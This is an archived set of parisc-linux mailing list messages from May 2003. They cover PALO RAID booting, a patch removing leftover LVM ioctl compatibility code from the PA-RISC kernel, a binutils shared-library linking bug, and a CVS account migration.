	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 May 2003 15:18:54 -0600 (MDT)
Original-Received: by bloody (Postfix, from userid 106)
	id 4304D69D61; Sun, 25 May 2003 22:18:52 +0100 (BST)
Original-Received: from mindless.co.uk (bloody [127.0.0.1])
	by bloody (Postfix) with SMTP id 37A6669D5F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 May 2003 22:18:50 +0100 (BST)
Original-Received: from 194.131.108.2
        (SquirrelMail authenticated user sr)
        by ssl.mindless.co.uk with HTTP;
        Sun, 25 May 2003 22:18:50 +0100 (BST)
X-Priority: 3
Importance: Normal
X-Mailer: SquirrelMail (version 1.2.8)
X-Spam-Status: No, hits=0.8 required=5.0
	tests=SPAM_PHRASE_00_01
	version=2.43
X-Spam-Level: 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18558

Hi,

I'm installing Debian 3.0r1 on a K370 (via a testing netinst CD due to
issues with PDC or something - I'm not too hot on this stuff yet!). It's
currently sitting on the 'partition a hard disk prompt' while I read up
some more on the RAID stuff...

Which leads me to a question about the RAID howto which is listed on the FAQ.

Basically the author (Martin Petersen) writes at the end of step 7 that he
made a modification to PALO to allow it to boot from RAID partitions...
The HOWTO is dated 14th Jan 2003...

Anyway, I was looking to find information on PALO now, to see if this
change has been incorporated onto a released version - and I think it has
- due to this: http://packages.qa.debian.org/p/palo/news/1.html - also
dated 14th Jan 2003.

Would it be a good idea to list in the RAID boot HOWTO that 'version 1.2
of PALO incorporates the change, and is available in debian/unstable' ?

Best regards,

Sid




From - Thu Nov 08 21:27:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andries.Brouwer@cwi.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] kill lvm from parisc
Date: Tue, 27 May 2003 00:20:50 +0200 (MEST)
Lines: 446
Approved: news@gmane.org
Message-ID: <UTC200305262220.h4QMKo712570.aeb__47646.650664001$1416622480$gmane$org@smtp.cwi.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622480 26000 80.91.229.3 (22 Nov 2014 02:14:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:40 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, matthew@wil.cx,
	parisc-linux@parisc-linux.org
To: torvalds@transmeta.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 26 16:21:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hera.cwi.nl (hera.cwi.nl [192.16.191.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id DEDF9482F
	for <parisc-linux@parisc-linux.org>; Mon, 26 May 2003 16:21:03 -0600 (MDT)
Original-Received: from apps.cwi.nl (apps.cwi.nl [192.16.191.34]) by hera.cwi.nl with ESMTP
	id AAA23883 for ; Tue, 27 May 2003 00:20:50 +0200 (MEST)
Original-Received: by apps.cwi.nl id h4QMKo712570; Tue, 27 May 2003 00:20:50 +0200 (MEST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18559

CONFIG_BLK_DEV_LVM is gone, but there is still some associated code.
This is the parisc part.

diff -u --recursive --new-file -X /linux/dontdiff a/arch/parisc/kernel/ioctl32.c b/arch/parisc/kernel/ioctl32.c
--- a/arch/parisc/kernel/ioctl32.c	Tue May 27 00:31:01 2003
+++ b/arch/parisc/kernel/ioctl32.c	Tue May 27 01:04:17 2003
@@ -1785,443 +1785,6 @@
         return -EINVAL;
 }
 
-#if defined(CONFIG_BLK_DEV_LVM) || defined(CONFIG_BLK_DEV_LVM_MODULE)
-/* Ugh, LVM. Pitty it was not cleaned up before accepted :((. */
-typedef struct {
-	uint8_t vg_name[NAME_LEN];
-	uint32_t vg_number;
-	uint32_t vg_access;
-	uint32_t vg_status;
-	uint32_t lv_max;
-	uint32_t lv_cur;
-	uint32_t lv_open;
-	uint32_t pv_max;
-	uint32_t pv_cur;
-	uint32_t pv_act;
-	uint32_t dummy;
-	uint32_t vgda;
-	uint32_t pe_size;
-	uint32_t pe_total;
-	uint32_t pe_allocated;
-	uint32_t pvg_total;
-	u32 proc;
-	u32 pv[ABS_MAX_PV + 1];
-	u32 lv[ABS_MAX_LV + 1];
-    	uint8_t vg_uuid[UUID_LEN+1];	/* volume group UUID */
-	uint8_t dummy1[200];
-} vg32_t;
-
-typedef struct {
-	uint8_t id[2];
-	uint16_t version;
-	lvm_disk_data_t pv_on_disk;
-	lvm_disk_data_t vg_on_disk;
-	lvm_disk_data_t pv_namelist_on_disk;
-	lvm_disk_data_t lv_on_disk;
-	lvm_disk_data_t pe_on_disk;
-	uint8_t pv_name[NAME_LEN];
-	uint8_t vg_name[NAME_LEN];
-	uint8_t system_id[NAME_LEN];
-	kdev_t pv_dev;
-	uint32_t pv_number;
-	uint32_t pv_status;
-	uint32_t pv_allocatable;
-	uint32_t pv_size;
-	uint32_t lv_cur;
-	uint32_t pe_size;
-	uint32_t pe_total;
-	uint32_t pe_allocated;
-	uint32_t pe_stale;
-	u32 pe;
-	u32 inode;
-	uint8_t pv_uuid[UUID_LEN+1];
-} pv32_t;
-
-typedef struct {
-	char lv_name[NAME_LEN];
-	u32 lv;
-} lv_req32_t;
-
-typedef struct {
-	u32 lv_index;
-	u32 lv;
-	/* Transfer size because user space and kernel space differ */
-	uint16_t size;
-} lv_status_byindex_req32_t;
-
-typedef struct {
-	compat_dev_t	dev;
-	u32		lv;
-} lv_status_bydev_req32_t;
-
-typedef struct {
-	uint8_t lv_name[NAME_LEN];
-	kdev_t old_dev;
-	kdev_t new_dev;
-	u32 old_pe;
-	u32 new_pe;
-} le_remap_req32_t;
-
-typedef struct {
-	char pv_name[NAME_LEN];
-	u32 pv;
-} pv_status_req32_t;
-
-typedef struct {
-	uint8_t lv_name[NAME_LEN];
-	uint8_t vg_name[NAME_LEN];
-	uint32_t lv_access;
-	uint32_t lv_status;
-	uint32_t lv_open;
-	kdev_t lv_dev;
-	uint32_t lv_number;
-	uint32_t lv_mirror_copies;
-	uint32_t lv_recovery;
-	uint32_t lv_schedule;
-	uint32_t lv_size;
-	u32 lv_current_pe;
-	uint32_t lv_current_le;
-	uint32_t lv_allocated_le;
-	uint32_t lv_stripes;
-	uint32_t lv_stripesize;
-	uint32_t lv_badblock;
-	uint32_t lv_allocation;
-	uint32_t lv_io_timeout;
-	uint32_t lv_read_ahead;
-	/* delta to version 1 starts here */
-	u32 lv_snapshot_org;
-	u32 lv_snapshot_prev;
-	u32 lv_snapshot_next;
-	u32 lv_block_exception;
-	uint32_t lv_remap_ptr;
-	uint32_t lv_remap_end;
-	uint32_t lv_chunk_size;
-	uint32_t lv_snapshot_minor;
-	char dummy[200];
-} lv32_t;
-
-typedef struct {
-	u32 hash[2];
-	u32 rsector_org;
-	kdev_t rdev_org;
-	u32 rsector_new;
-	kdev_t rdev_new;
-} lv_block_exception32_t;
-
-static void put_lv_t(lv_t *l)
-{
-	if (l->lv_current_pe) vfree(l->lv_current_pe);
-	if (l->lv_block_exception) vfree(l->lv_block_exception);
-	kfree(l);
-}
-
-static lv_t *get_lv_t(u32 p, int *errp)
-{
-	int err, i;
-	u32 ptr1, ptr2;
-	size_t size;
-	lv_block_exception32_t *lbe32;
-	lv_block_exception_t *lbe;
-	lv32_t *ul = (lv32_t *)A(p);
-	lv_t *l = (lv_t *) kmalloc(sizeof(lv_t), GFP_KERNEL);
-
-	if (!l) {
-		*errp = -ENOMEM;
-		return NULL;
-	}
-	memset(l, 0, sizeof(lv_t));
-	err = copy_from_user(l, ul, (long)&((lv32_t *)0)->lv_current_pe);
-	err |= __copy_from_user(&l->lv_current_le, &ul->lv_current_le,
-				((long)&ul->lv_snapshot_org) - ((long)&ul->lv_current_le));
-	err |= __copy_from_user(&l->lv_remap_ptr, &ul->lv_remap_ptr,
-				((long)&ul->dummy[0]) - ((long)&ul->lv_remap_ptr));
-	err |= __get_user(ptr1, &ul->lv_current_pe);
-	err |= __get_user(ptr2, &ul->lv_block_exception);
-	if (err) {
-		kfree(l);
-		*errp = -EFAULT;
-		return NULL;
-	}
-	if (ptr1) {
-		size = l->lv_allocated_le * sizeof(pe_t);
-		l->lv_current_pe = vmalloc(size);
-		if (l->lv_current_pe)
-			err = copy_from_user(l->lv_current_pe, (void *)A(ptr1), size);
-	}
-	if (!err && ptr2) {
-		size = l->lv_remap_end * sizeof(lv_block_exception_t);
-		l->lv_block_exception = lbe = vmalloc(size);
-		if (l->lv_block_exception) {
-			lbe32 = (lv_block_exception32_t *)A(ptr2);
-			memset(lbe, 0, size);
-			for (i = 0; i < l->lv_remap_end; i++, lbe++, lbe32++) {
-				err |= get_user(lbe->rsector_org, &lbe32->rsector_org);
-				err |= __get_user(lbe->rdev_org, &lbe32->rdev_org);
-				err |= __get_user(lbe->rsector_new, &lbe32->rsector_new);
-				err |= __get_user(lbe->rdev_new, &lbe32->rdev_new);
-			}
-		}
-	}
-	if (err || (ptr1 && !l->lv_current_pe) || (ptr2 && !l->lv_block_exception)) {
-		if (!err)
-			*errp = -ENOMEM;
-		else
-			*errp = -EFAULT;
-		put_lv_t(l);
-		return NULL;
-	}
-	return l;
-}
-
-static int copy_lv_t(u32 ptr, lv_t *l)
-{
-	int err;
-	lv32_t *ul = (lv32_t *)A(ptr);
-	u32 ptr1;
-	size_t size;
-
-	err = get_user(ptr1, &ul->lv_current_pe);
-	if (err)
-		return -EFAULT;
-	err = copy_to_user(ul, l, (long)&((lv32_t *)0)->lv_current_pe);
-	err |= __copy_to_user(&ul->lv_current_le, &l->lv_current_le,
-				((long)&ul->lv_snapshot_org) - ((long)&ul->lv_current_le));
-	err |= __copy_to_user(&ul->lv_remap_ptr, &l->lv_remap_ptr,
-				((long)&ul->dummy[0]) - ((long)&ul->lv_remap_ptr));
-	size = l->lv_allocated_le * sizeof(pe_t);
-	if (ptr1)
-		err |= __copy_to_user((void *)A(ptr1), l->lv_current_pe, size);
-	return err ? -EFAULT : 0;
-}
-
-static int do_lvm_ioctl(unsigned int fd, unsigned int cmd, unsigned long arg)
-{
-	vg_t *v = NULL;
-	union {
-		lv_req_t lv_req;
-		le_remap_req_t le_remap;
-		lv_status_byindex_req_t lv_byindex;
-	        lv_status_bydev_req_t lv_bydev;
-		pv_status_req_t pv_status;
-	} u;
-	pv_t p;
-	int err;
-	u32 ptr = 0;
-	int i;
-	mm_segment_t old_fs;
-	void *karg = &u;
-
-	switch (cmd) {
-	case VG_STATUS:
-		v = kmalloc(sizeof(vg_t), GFP_KERNEL);
-		if (!v)
-			return -ENOMEM;
-		karg = v;
-		break;
-
-	case VG_CREATE_OLD:
-	case VG_CREATE:
-		v = kmalloc(sizeof(vg_t), GFP_KERNEL);
-		if (!v)
-			return -ENOMEM;
-		if (copy_from_user(v, (void *)arg, (long)&((vg32_t *)0)->proc)) {
-			kfree(v);
-			return -EFAULT;
-		}
-		/* 'proc' field is unused, just NULL it out. */
-		v->proc = NULL;
-		if (copy_from_user(v->vg_uuid, ((vg32_t *)arg)->vg_uuid, UUID_LEN+1)) {
-			kfree(v);
-			return -EFAULT;
-		}
-		    
-		karg = v;
-		memset(v->pv, 0, sizeof(v->pv) + sizeof(v->lv));
-		if (v->pv_max > ABS_MAX_PV || v->lv_max > ABS_MAX_LV)
-			return -EPERM;
-		for (i = 0; i < v->pv_max; i++) {
-			err = __get_user(ptr, &((vg32_t *)arg)->pv[i]);
-			if (err)
-				break;
-			if (ptr) {
-				v->pv[i] = kmalloc(sizeof(pv_t), GFP_KERNEL);
-				if (!v->pv[i]) {
-					err = -ENOMEM;
-					break;
-				}
-				err = copy_from_user(v->pv[i], (void *)A(ptr),
-						     sizeof(pv32_t) - 8 - UUID_LEN+1);
-				if (err) {
-					err = -EFAULT;
-					break;
-				}
-				err = copy_from_user(v->pv[i]->pv_uuid,
-						     ((pv32_t *)A(ptr))->pv_uuid,
-						     UUID_LEN+1);
-				if (err) {
-				        err = -EFAULT;
-					break;
-				}
-
-				v->pv[i]->pe = NULL;
-				v->pv[i]->bd = NULL;
-			}
-		}
-		if (!err) {
-			for (i = 0; i < v->lv_max; i++) {
-				err = __get_user(ptr, &((vg32_t *)arg)->lv[i]);
-				if (err)
-					break;
-				if (ptr) {
-					v->lv[i] = get_lv_t(ptr, &err);
-					if (err)
-						break;
-				}
-			}
-		}
-		break;
-
-	case LV_CREATE:
-	case LV_EXTEND:
-	case LV_REDUCE:
-	case LV_REMOVE:
-	case LV_RENAME:
-	case LV_STATUS_BYNAME:
-	        err = copy_from_user(&u.pv_status, arg, sizeof(u.pv_status.pv_name));
-		if (err)
-			return -EFAULT;
-		if (cmd != LV_REMOVE) {
-			err = __get_user(ptr, &((lv_req32_t *)arg)->lv);
-			if (err)
-				return err;
-			u.lv_req.lv = get_lv_t(ptr, &err);
-		} else
-			u.lv_req.lv = NULL;
-		break;
-
-	case LV_STATUS_BYINDEX:
-		err = get_user(u.lv_byindex.lv_index,
-			       &((lv_status_byindex_req32_t *)arg)->lv_index);
-		err |= __get_user(ptr, &((lv_status_byindex_req32_t *)arg)->lv);
-		if (err)
-			return err;
-		u.lv_byindex.lv = get_lv_t(ptr, &err);
-		break;
-
-	case LV_STATUS_BYDEV:
-	        err = get_user(u.lv_bydev.dev, &((lv_status_bydev_req32_t *)arg)->dev);
-		err |= __get_user(ptr, &((lv_status_bydev_req32_t *)arg)->lv);
-		if (err)
-			return err;
-		u.lv_bydev.lv = get_lv_t(ptr, &err);
-		break;
-
-	case VG_EXTEND:
-		err = copy_from_user(&p, (void *)arg, sizeof(pv32_t) - 8 - UUID_LEN+1);
-		if (err)
-			return -EFAULT;
-		err = copy_from_user(p.pv_uuid, ((pv32_t *)arg)->pv_uuid, UUID_LEN+1);
-		if (err)
-			return -EFAULT;
-		p.pe = NULL;
-		p.bd = NULL;
-		karg = &p;
-		break;
-
-	case PV_CHANGE:
-	case PV_STATUS:
-		err = copy_from_user(&u.pv_status, arg, sizeof(u.lv_req.lv_name));
-		if (err)
-			return -EFAULT;
-		err = __get_user(ptr, &((pv_status_req32_t *)arg)->pv);
-		if (err)
-			return err;
-		u.pv_status.pv = &p;
-		if (cmd == PV_CHANGE) {
-			err = copy_from_user(&p, (void *)A(ptr),
-					     sizeof(pv32_t) - 8 - UUID_LEN+1);
-			if (err)
-				return -EFAULT;
-			p.pe = NULL;
-			p.bd = NULL;
-		}
-		break;
-	};
-
-        old_fs = get_fs(); set_fs (KERNEL_DS);
-        err = sys_ioctl (fd, cmd, (unsigned long)karg);
-        set_fs (old_fs);
-
-	switch (cmd) {
-	case VG_STATUS:
-		if (!err) {
-			if (copy_to_user((void *)arg, v, (long)&((vg32_t *)0)->proc) ||
-			    clear_user(&((vg32_t *)arg)->proc, sizeof(vg32_t) - (long)&((vg32_t *)0)->proc))
-				err = -EFAULT;
-		}
-		if (copy_to_user(((vg32_t *)arg)->vg_uuid, v->vg_uuid, UUID_LEN+1)) {
-		        err = -EFAULT;
-		}
-		kfree(v);
-		break;
-
-	case VG_CREATE_OLD:
-	case VG_CREATE:
-		for (i = 0; i < v->pv_max; i++) {
-			if (v->pv[i])
-				kfree(v->pv[i]);
-		}
-		for (i = 0; i < v->lv_max; i++) {
-			if (v->lv[i])
-				put_lv_t(v->lv[i]);
-		}
-		kfree(v);
-		break;
-
-	case LV_STATUS_BYNAME:
-		if (!err && u.lv_req.lv)
-			err = copy_lv_t(ptr, u.lv_req.lv);
-		/* Fall through */
-
-        case LV_CREATE:
-	case LV_EXTEND:
-	case LV_REDUCE:
-		if (u.lv_req.lv)
-			put_lv_t(u.lv_req.lv);
-		break;
-
-	case LV_STATUS_BYINDEX:
-		if (u.lv_byindex.lv) {
-			if (!err)
-				err = copy_lv_t(ptr, u.lv_byindex.lv);
-			put_lv_t(u.lv_byindex.lv);
-		}
-		break;
-
-	case LV_STATUS_BYDEV:
-	        if (u.lv_bydev.lv) {
-			if (!err)
-				err = copy_lv_t(ptr, u.lv_bydev.lv);
-			put_lv_t(u.lv_byindex.lv);
-	        }
-	        break;
-
-	case PV_STATUS:
-		if (!err) {
-			err = copy_to_user((void *)A(ptr), &p, sizeof(pv32_t) - 8 - UUID_LEN+1);
-			if (err)
-				return -EFAULT;
-			err = copy_to_user(((pv_t *)A(ptr))->pv_uuid, p.pv_uuid, UUID_LEN + 1);
-			if (err)
-				return -EFAULT;
-		}
-		break;
-	};
-
-	return err;
-}
-#endif

From - Thu Nov 08 21:27:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [hppa] binutils will not build shared libraries with external deps?
Date: Mon, 26 May 2003 22:22:51 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20030527052251.GC24873__12458.1006974497$1416622480$gmane$org@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622480 26001 80.91.229.3 (22 Nov 2014 02:14:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:40 +0000 (UTC)
Cc: debian-gcc@lists.debian.org, parisc-linux@parisc-linux.org
To: bug-binutils@gnu.org, binutils@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 26 22:58:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F75E482F
	for <parisc-linux@parisc-linux.org>; Mon, 26 May 2003 22:58:55 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id F077CCD2F8; Mon, 26 May 2003 22:22:51 -0700 (PDT)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18560

Looks like latest binutils CVS (also as of 2.14.90.0.1) cannot build
shared libraries that have external symbols on at least hppa-linux:

tausq@ios:~$ cat blah.c
extern int foo();
int call_foo() { return foo(); }

tausq@ios:~$ gcc -shared -fPIC -o blah.so blah.c
/tmp/ccC3fZeH.o(.text+0x1c): In function `call_foo':
: undefined reference to `foo'

this worked fine on older binutils (e.g. 2.13.90.0.16 worked).

does anyone know what might be broken? this is causing a lot of failures
in the binutils test suite....

thanks,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/



From - Thu Nov 08 21:27:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] kill lvm from parisc
Date: Tue, 27 May 2003 12:11:53 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20030527111153.GD15709__3607.87901231578$1416622481$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <UTC200305262220.h4QMKo712570.aeb@smtp.cwi.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622481 26008 80.91.229.3 (22 Nov 2014 02:14:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:41 +0000 (UTC)
Cc: torvalds@transmeta.com, linux-kernel@vger.kernel.org,
	matthew@wil.cx, parisc-linux@parisc-linux.org
To: Andries.Brouwer@cwi.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 27 05:11:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 571E34829
	for <parisc-linux@parisc-linux.org>; Tue, 27 May 2003 05:11:55 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19KcMz-0002Ob-BH; Tue, 27 May 2003 12:11:53 +0100
Content-Disposition: inline
In-Reply-To: <UTC200305262220.h4QMKo712570.aeb@smtp.cwi.nl>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18561

On Tue, May 27, 2003 at 12:20:50AM +0200, Andries.Brouwer@cwi.nl wrote:
> CONFIG_BLK_DEV_LVM is gone, but there is still some associated code.
> This is the parisc part.

it's already gone from the parisc tree and will be picked up whenever
linus gets round to releasing 2.5.70 and we submit a patch.  please stop
resending.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS accounts
Date: Tue, 27 May 2003 18:14:18 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20030527171418.GH15709@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622481 26014 80.91.229.3 (22 Nov 2014 02:14:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:41 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 27 11:14:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1D364829
	for <parisc-linux@parisc-linux.org>; Tue, 27 May 2003 11:14:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19Ki1i-0008E6-Jq
	for parisc-linux@parisc-linux.org; Tue, 27 May 2003 18:14:18 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18562

We need to move CVS to a faster box.  So this is a good time to reevaluate
who has CVS access.  Going back through the past 6 months, the following
people have committed code to p-l.org and will thus get accounts on the
new cvs.p-l.org.  If your name isn't on this list and you'd like it to
be, send mail.

bame
bdale
carlos
deller
grundler
jejb
lamont
mkp
rbrad
tausq
varenet
willy

6 months is an entirely random time period so don't be offended if
your name isn't on the list; just send mail so I know to create this
account.  Of course we can always add accounts later, but if you're
using non-anonymous CVS access and your name isn't on the list, it'll
stop working.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs migration
Date: Wed, 28 May 2003 00:42:50 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20030528064250.GA29360@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622481 26016 80.91.229.3 (22 Nov 2014 02:14:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 28 00:46:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D7D74829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 May 2003 00:46:32 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 1012)
	id AE68D2981E7; Wed, 28 May 2003 00:46:31 -0600 (MDT)
X-IMAP-Sender: dannf
Content-Disposition: inline
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
